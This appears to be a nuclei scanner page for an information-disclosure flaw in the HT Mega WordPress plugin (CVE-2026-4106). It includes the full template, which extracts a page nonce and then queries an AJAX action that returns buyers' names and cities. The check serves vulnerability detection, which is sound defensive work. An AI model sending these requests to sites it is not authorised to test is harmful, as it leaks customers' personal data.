HT Mega < 3.0.7 - Sensitive Information Disclosure

highseverity

7.5CVSS score

0.7%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.

How to confirm it

Send: GET /
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"buyer\":" and "\"fname\":" and "\"city\":" AND status 200

Run it with nuclei: nuclei -id CVE-2026-4106 -u <target>

The full check

id: CVE-2026-4106

info:
  name: HT Mega < 3.0.7 - Sensitive Information Disclosure
  author: EFETR
  severity: high
  description: |
    The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.
  reference:
    - https://wpscan.com/vulnerability/9477ead2-3990-4aae-8e66-09ee2f4daa3e/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4106
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-4106
    epss-score: 0.00742
    epss-percentile: 0.55022
  metadata:
    max-request: 2
    verified: true
    vendor: hastech
    product: ht-mega-for-elementor
    framework: wordpress
    publicwww-query: "/plugins/ht-mega-for-elementor/"
  tags: cve,cve2026,wordpress,wp-plugin,ht-mega-for-elementor,exposure,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: extracted_nonce
        part: body
        group: 1
        regex:
          - 'security["'':\s]+([a-f0-9]{10})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcsales_purchased_products&security={{extracted_nonce}}&limit=10

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"buyer":'
          - '"fname":'
          - '"city":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from